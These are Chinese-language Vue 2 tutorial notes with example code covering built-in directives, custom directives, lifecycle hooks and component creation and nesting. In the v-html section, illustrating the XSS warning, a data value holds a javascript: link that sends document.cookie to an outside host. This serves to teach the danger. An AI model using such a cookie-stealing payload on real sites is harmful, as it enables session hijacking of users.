1. Vue.text内置指令

  1. v-text指令: 向所在节点中渲染文本内容
  2. 与插值语法的区别: v-text会替换掉节点中的内容, 则不会

目前学过的指令:

v-bind: 单项绑定解析表达式, 可简写为 :xxx

v-model: 双向数据绑定

v-for: 遍历数组/对象/字符串

v-on: 绑定事件监听, 可简写为 @click

v-if: 条件渲染 (动态控制节点是否存在)

v-else: 条件渲染 (动态控制节点是否存在)

v-show: 条件渲染 (动态控制节点是否展示)

1
2
3
4
5
6
7
8
9
10
11
12
<div class="box">
<h1>{{name}}</h1>
<h1 v-text="name"></h1>
<h1 v-text="str"></h1>
</div>
new Vue({
el: '.box',
data: {
name: '小城故事',
str: '<h1>你好</h1>'
}
})

2. V-html内置指令

  • v-html指令: 向指定节点中渲染包含html结构的内容

1. 与插值语法的区别:

  1. v-html会替换节点中所有的内容, 不会
  2. v-html可识别html结构

2. 注意: v-html有安全性问题!

  1. 在网站上动态渲染任意html是危险的, 容易导致XSS攻击
  2. 要在可信内容上使用v-html, 不要用在用户提交的内容上面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div class="box">
<h1>{{name}}</h1>
<h1 v-text="a"></h1>
<h1 v-html="a"></h1>
<h1 v-html="b"></h1>
</div>
new Vue({
el: '.box',
data: {
name: '小城故事',
a: '<h2>你好</h2>',
b: '<a href=javascript:location.href="http://baidu.com?"+document.cookie>领取资料</a>'
}
})

3. V-cloak内置指令

  1. v-cloak指令(没有值): 本质是一个特殊属性, Vue实例创建完毕并接管容器后, 会删除v-cloak属性
  2. 使用CSS配合v-cloak可解决网速慢时页面展示的问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<style>
[v-cloak] {
display: none;
}
</style>
<div class="box">
<h1 v-cloak>{{name}}</h1>
</div>
<script src="http://192.168.0.104:3000/vue.js"></script>
new Vue({
el: '.box',
data: {
name: '小城故事',
}
})

4. V-once内置指令

  1. v-once所在节点在初次动态渲染后, 就视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新, 可用于优化性能
1
2
3
4
5
6
7
8
9
10
11
<div class="box">
<h1 v-once>初始n的值是: {{n}}</h1>
<h1>当前n的值是: {{n}}</h1>
<button @click="n++">点我让n+1</button>
</div>
new Vue({
el: '.box',
data: {
n: 1
}
})

5. V-pre内置指令

  1. 跳过所在节点的编译过程
  2. 可利用它跳过: 没有使用指令语法、没使用插值语法的节点, 会加快编译
1
2
3
4
5
6
7
8
9
10
11
12
<div class="box">
<h1 v-pre>{{name}}</h1>
<h1 v-pre>当前n的值是: {{n}}</h1>
<button @click="n++">点我让n+1</button>
</div>
new Vue({
el: '.box',
data: {
name: '小城故事',
n: 1
}
})

6. 自定义指令-函数式

big函数何时会调用?

  1. 指令与元素成功绑定时(一上来)
  2. 指令所在的模板被重新解析时
  3. 定义一个v-big指令, 和v-text功能相似, 但会把绑定的数值放大10倍
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<div class="box">
<h1>{{name}}</h1>
<h1>当前的n值是: {{n}}</h1>
<h1>放大10倍后的n值是: <span v-big="n"></span></h1>
<button @click="n++">点我让n+1</button>
</div>
new Vue({
el: '.box',
data: {
n: 1,
name: '小城同学'
},
directives: {
big(element, binding) {
// 让n放大10倍
element.innerText = binding.value * 10
// element 是当前DOM元素
// binding 是个对象, 包含(指令名、指令值...)
console.log(element, binding, this) // 指向window
console.log(element instanceof HTMLElement)
}
}
})

7. 自定义指令-对象式

  • 定义一个v-fbind指令, 和v-bind功能相似, 但可以让绑定input元素默认获取焦点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<div class="box">
<h1>{{name}}</h1>
<h1>当前的n值是: {{n}}</h1>
<h1>放大10倍后的n值是: <span v-big="n"></span></h1>
<button @click="n++">点我让n+1</button>
<!-- v-fbind指令 -->
<input type="text" v-fbind:value="n">
</div>
new Vue({
el: '.box',
data: {
n: 1,
name: '小城同学'
},
directives: {
big(element, binding) {
element.innerText = binding.value * 10
console.log(element, binding)
},
// fbind(element, binding) {
// element.value = binding.value
// }
fbind: {
// 指令与元素成功绑定时(一上来)
bind(element, binding) {
console.log('bind', this) // 指向window
element.value = binding.value
},
// 指令所在的元素被插入页面时
inserted(element, binding) {
console.log('inserted')
element.focus()
},
// 指令所在的模板被重新解析时
update(element, binding) {
console.log('update')
element.value = binding.value
}
}
}
})

8. 自定义指令函数与对象式总结

1. 局部指令:

1
2
3
4
5
6
new Vue({
directives: {指令名: 配置对象}
}) 或
new Vue({
directives() {}
})

2. 全局指令: Vue.directive(指令名: 配置对象) 或 Vue.directive(指令名: 回调函数)

3. 配置对象中常用的3个回调:

(1): bind: 指令与元素成功绑定时调用

(2): inserted: 指令所在的元素被插入页面时调用

(3): update: 指令所在的模板被重新解析时调用

4. 备注:

1.指令定义时不加v-, 但使用时要加v-:

2.指令名如果是多个单词, 要使用add-list命名方式, 不要用addList命名

在全局指令中, this指向Vue实例, 而局部指令中, this指向Vue实例的$options对象

在bind方法中, this指向指令对象本身, 因此是window

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<div class="box">
<h1>当前的n值是: {{n}}</h1>
<h1>放大10倍后的n值是: <span v-big="n"></span></h1>
<button @click="n++">点我让n+1</button>
<!-- v-fbind指令 -->
<input type="text" v-fbind-num:value="n">
</div>
<div class="box2">
<!-- 01. 第二个盒子要配置全局directives指令 -->
<input type="text" v-fbind-num:value="n">
</div>
Vue.directive('fbind-num', {
bind(element, binding) {
console.log('bind', this) // 04. 此处this指向window
element.value = binding.value
},
inserted(element, binding) {
console.log('inserted')
element.focus()
},
update(element, binding) {
console.log('update')
element.value = binding.value
}
})
// 03. 定义全局指令(函数式) 配置全局directive
Vue.directive('big', function(element, binding) {
element.innerText = binding.value * 10
console.log(element, binding, this) // 05. 此处this指向window
})

new Vue({
el: '.box',
data: {
n: 1
},
directives: {
// big(element, binding) {
// element.innerText = binding.value * 10
// console.log(element, binding, this) // 此处this指向window
// },
// 'fbind-num': {
// bind(element, binding) {
// console.log('bind', this) // 此处this指向window
// element.value = binding.value
// },
// inserted(element, binding) {
// console.log('inserted')
// element.focus()
// },
// update(element, binding) {
// console.log('update')
// element.value = binding.value
// }
// }
}
})
new Vue({
el: '.box2',
data: {
n: 1
}
})

9. 引出Vue生命周期/mounted

  1. 又名: 生命周期回调函数、生命周期函数、生命周期钩子
  2. 生命周期是什么: Vue在关键时刻调用一些特殊名称的函数
  3. 生命周期函数的名字不可更改, 但函数具体内容是程序员根据需求编写的
  4. 生命周期函数中的this指向vm或组件实例对象
  5. Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<div class="box">
<h2 :style="{opacity: opacity}">欢迎学习Vue</h2>
<h2 v-if="a">你好</h2>
</div>
new Vue({
el: '.box',
data: {
opacity: 1,
a: false
},
// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
mounted() {
console.log('mounted', this)
setInterval(() => {
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 10)
}
})
// 通过外部定时器实现(不推荐), methods方法也不推荐
// setInterval(() => {
// vm.opacity -= 0.01
// if (vm.opacity <= 0) vm.opacity = 1
// }, 10)

10. Vue的生命周期

  • Vue生命周期有四个阶段: 初始阶段、挂载阶段、更新阶段、销毁阶段、共八个钩子函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<div class="box">
<h1>{{name}}</h1>
<h1>当前n的值是: {{n}}</h1>
<h3 v-text="n"></h3>
<button @click="add">点我让n+1</button>
<button @click="destroy">点我销毁vm</button>
</div>
let vm = new Vue({
el: '.box',
data: {
name: '小城同学',
n: 1
},
methods: {
add() {
this.n++
console.log('add被调用了')
},
destroy() {
this.$destroy() // 销毁vm
},
m() {
console.log('m...')
}
},
watch: {
n() {
console.log('n被监视了一次')
}
},
// 1. 初始阶段 虚拟DOM生成
beforeCreate() {
// 创建前 初始化事件&生命周期
// 创建前指: 数据代理和数据监测的创建前
// 此时无法访问data和methods中的数据
// 该阶段可以做一些loading效果
console.log('beforeCreate', this.n)
// this.m() // 报错
// debugger
},
created() {
// 创建后 初始化数据代理&数据监测
// 创建后指: 数据代理和数据监测创建完毕, 可以访问data和methods数据了
// 该阶段可以做结束loading效果, 也可发送网络请求、获取数据、添加定时器
console.log('created', this.n)
this.m() // 可以访问methods
// debugger
},
// 编译模板语句生成虚拟DOM(此时虚拟DOM已经生成, 但页面没有渲染)
// 2. 挂载阶段 真实DOM生成
beforeMount() {
// 挂载前, 此时修改数据页面没有效果, 但内存有了
// 此时页面还未渲染, 真实DOM还未生成
console.log('beforeMount')
// debugger
},
// 创建vm.$el 并用它替代el, 此时真实DOM生成, 页面渲染完成
mounted() {
// 挂载后 此时已经完成渲染挂载, 可以对数据进行操作
console.log('mounted')
console.log(this.$el)
console.log(this.$el instanceof HTMLElement)
// debugger
},
// 3. 更新阶段 data变化重新渲染
beforeUpdate() {
// 更新前 此时只是内存数据有变化, 页面还未更新
// 适合在更新前访问现有DOM, 比如手动移除事件监视器
console.log('beforeUpdate')
// debugger
},
// 新旧data进行Diff算法没问题虚拟DOM就会重新渲染和修补
updated() {
// 更新后 重新渲染真实DOM到页面
// 页面更新后, 想对数据统一处理, 可以在这完成
console.log('updated')
// debugger
},
// 4. 销毁阶段 销毁vm上的监视器watch、子组件、自定义事件监听器(高版本vue会移除所有事件)
beforeDestroy() {
// 销毁前
// 此时的watcher监视器active 为true激活状态
console.log('beforeDestroy', this) // 指向vm
// 对数据进行修改 只是让内存数据变化 但页面不会重新渲染
// this.n = 10 // 虽然销毁前处于绑定关系, 但都无法用
// debugger
// 此时可以做清除定时器工作
},
destroyed() {
// 销毁后
// 此时的watcher监视器active 为false卸载状态
console.log('destroyed', this)
// debugger
},
})
console.log(vm)

11. 总结Vue生命周期

1. 常用的生命周期钩子:

  1. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等..初始化操作
  2. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等..收尾工作

2. 关于销毁Vue实例:

  1. 销毁后 借助Vue开发者工具是看不到任何信息的
  2. 销毁后 自定义事件会失效, 原生DOM事件依然有效(低版本)
  3. 一般不会beforeDestroy操作数据, 因为即便操作数据, 也不会再触发更新流程了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<div class="box">
<h2 :style="{opacity: opacity}">欢迎学习Vue</h2>
<button @click="stop">点击停止变换</button>
<button @click="opacity = 1">透明度设置为1</button>
</div>
let vm = new Vue({
el: '.box',
data: {
opacity: 1,
},
methods: {
stop() {
// clearInterval(this.timer)
this.$destroy()
}
},
mounted() {
console.log('mounted', this)
this.timer = setInterval(() => {
console.log('定时器还在运行')
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 10)
},
beforeDestroy() {
clearInterval(this.timer)
console.log('vm即将驾鹤西游了')
},
})

12. Vue非单文件组件的使用-components-extend-template

  • 组件的使用分为三步: 1.创建组件 2.注册组件 3.使用组件

1. 如何创建组件?

  • 使用Vue.extend(options)创建, 其中options和new Vue(options)时传入的那个options几乎一样, 但也有区别

区别如下:

组件定义时, 不要写el配置项, 因为最终所有组件由vm管理和决定服务哪个容器

data必须写成函数, 避免组件被复用时, 数据存在引用关系

使用template配置组件结构, 但里面只能有一个根元素, 多个需加div包囊

2. 如何注册组件?

  1. 局部注册: new Vue时传入component选择
  2. 全局注册: Vue.component(组件名, 组件)
  3. 使用组件标签:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<div class="box">
<!-- 使用组件标签 -->
<school></school>
<hr>
<student></student>
<hr>
<student></student>
<hr>
</div>
<div class="box2">
<student></student>
<all></all>
</div>
let school = Vue.extend({ // 创建组件
template: `
<div>
<h3>学校名称: {{schoolname}}</h3>
<h3>学校地址: {{address}}</h3>
<button @click="show">点我提示学校名</button>
</div>`,
data() {
return {
schoolname: '尚硅谷',
address: '北京昌平'
}
},
methods: {
show() {
alert(this.schoolname)
}
}
})
let student = Vue.extend({
template: `
<div>
<h3>学生姓名: {{name}}</h3>
<h3>学生年龄: {{age}}</h3>
</div>`,
data() {
return {
name: '小城同学',
age: 18
}
}
})

let all = Vue.extend({ // 创建全局组件
template: `
<div>
<h3>你好啊, {{name}}</h3>
</div>`,
data() {
return {
name: '我是全局组件'
}
}
})
Vue.component('all', all) // 全局注册组件
new Vue({
el: '.box',
components: { // 局部注册组件
school: school, // 组件名: 组件变量名
student: student
}
})
new Vue({
el: '.box2',
components: {
student
}
})

13. 非单文件的几个注意点

1. 组件名

(1) 一个单词组成:

第一种写法: 首字母小写 school

第二种写法: 首字母大写 School

(2) 多个单词组成

第一种写法: my-school

第二种写法: MySchool (需要脚手架支持)

备注:

组件名不能为HTML标签, 例如: h2 H2都不行

可以使用name配置项指定组件在开发者工具中呈现的名字

2. 组件标签

  1. 第一种写法:
  2. 第二种写法:
  3. 注意: 不使用脚手架时, 会导致后续组件不能渲染

3. 简写方式

  • let school = Vue.extend(options) 可简写为: let school = options
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<div class="box">
<school></school>
<school/>
<school/>
</div>
let school = Vue.extend({
name: 'xuexiao',
template: `
<div>
<h2>{{name}}</h2>
<h2>{{address}}</h2>
</div>`,
data() {
return {
name: '尚硅谷',
address: '北京昌平'
}
}
})
new Vue({
el: '.box',
components: {
school
}
})

14.Vue组件的嵌套

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<div class="box">
<!-- <hello></hello> -->
<!-- <school></school> -->
<!-- <app></app> -->
</div>
let student = Vue.extend({
template: `
<div>
<h3>{{name}}</h3>
<h3>{{age}}</h3>
</div>`,
data() {
return {
name: '小城同学',
age: 18
}
}
})
let school = Vue.extend({
template: `
<div>
<h3>{{schoolname}}</h3>
<h3>{{address}}</h3>
<student></student>
</div>`,
data() {
return {
schoolname: '尚硅谷',
address: '北京昌平'
}
},
components: {
student
}
})

let hello = Vue.extend({
template: `
<div>
<h3>{{msg}}</h3>
</div>`,
data() {
return {
msg: '欢迎学习Vue'
}
}
})

let app = Vue.extend({
template: `
<div>
<hello></hello>
<school></school>
</div>`,
components: {
hello,
school
}
})

let vm = new Vue({
el: '.box',
template: '<app></app>',
components: {
app
// school,
// hello
}
})
console.log(vm)

15. Vue.Component构造函数-vc组件实例对象

  1. school组件本质是名为Vuecomponent构造函数, 是Vue.extend生成的
  2. 只需写, Vue解析时会创建school组件的实例对象
  3. 注意: 每次调用Vue.extend, 返回值都是一个全新的Vuecomponent

4. 关于this指向:

(1) 组件配置中:

data、methods、watch、computed函数, this都指向Vuecomponent实例对象

(2) new Vue(options)配置中:

data、methods、watch、computed函数, this都指向Vue实例对象

  1. Vuecomponent的实例对象, 简称vc/组件实例对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<div class="box">
<school></school>
<hello></hello>
</div>
let school = Vue.extend({
template: `
<div>
<h3>{{name}}</h3>
<h3>{{address}}</h3>
<button @click="show">点我提示Vue.Component的this</button>
</div>`,
data() {
return {
name: '尚硅谷',
address: '北京昌平'
}
},
methods: {
show() {
console.log(this)
}
}
})
let hello = Vue.extend({
template: `<h3>{{name}}</h3>`,
data() {
return {
name: '你好'
}
}
})
// 判断school和hello是不是同一个构造函数
console.log(school)
console.log(hello)
console.log(school == hello)
console.log(school.a = 1)
console.log(hello.a)
let vm = new Vue({
el: '.box',
components: {
school,
hello
}
})
console.log(vm)

16. Vue和Component的重要内置关系

  1. 重要内置关系: VueComponent.prototype.proto == Vue.prototype
  2. 为什么要有这个关系? : 让组件实例对象vc 可以访问到Vue原型对象上的属性、方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// function fn(a, b) {
// this.a = 1,
// this.b = 2
// }
// let obj = new fn()
// console.log(fn.prototype) // 显示原型属性
// console.log(obj.__proto__) // 隐式原型属性
// console.log(fn.prototype == obj.__proto__) // true
// // 通过原型对象添加x属性, 隐式原型也可以访问到x
// fn.prototype.x = 10
// console.log(obj.__proto__.x)
// console.log(obj)
let school = Vue.extend({
template: `
<div>
<h1>{{name}}</h1>
<button @click="show">点我证明this指向x</button>
</div>`,
data() {
return {
name: '尚硅谷'
}
},
methods: {
show() {
console.log(this)
console.log(this.x)
}
}
})
let vm = new Vue({
el: '.box',
data: {
name: '小城同学'
},
components: {
school
}
})
console.log(vm)
console.log(school.prototype.__proto__ == Vue.prototype)
// 证明Vue.Component对象原型 可以访问 Vue原型对象的属性和方法
Vue.prototype.x = 10

17. el和template配置项

  1. 编译模板语句生成虚拟DOM(此时虚拟DOM已经生成, 但页面没有渲染)
  2. 初始阶段有个判断流程才能进行下一阶段
  3. el有, template也有, 最终编译template模板语句
  4. el有, template没有, 最终编译el模板语句
  5. el没有, 需手动调用vm.$mount(el)挂载, 流程才能继续, 此时如果template有, 最终编译template模板
  6. el没有, 需手动调用vm.$mount(el)挂载, 流程才能继续, 此时如果没有template, 最终编译el模板
  7. 结论: 流程想要继续, el必须存在
  8. el和template同时存在, 优先选template, 没有则选el
1
2
3
4
5
6
7
8
9
10
11
12
<div class="box">
<h1>{{name}}</h1>
</div>
let vm = new Vue({
// el: '.box',
template: `<h1>{{n}}</h1>`,
data: {
name: '测试el和template配置项',
n: 'template配置项'
}
})
vm.$mount('.box') // 手动挂载

18. input输入框渲染顺序

1
2
3
4
5
6
7
8
9
10
<button>点击创建一个input输入框</button> <br>
<script>
document.querySelector('button').addEventListener('click', () => {
let input = document.createElement('input')
document.body.appendChild(input)
input.focus()
input.className = 'add'
input.parentElement.style.backgroundColor = 'skyblue'
})
</script>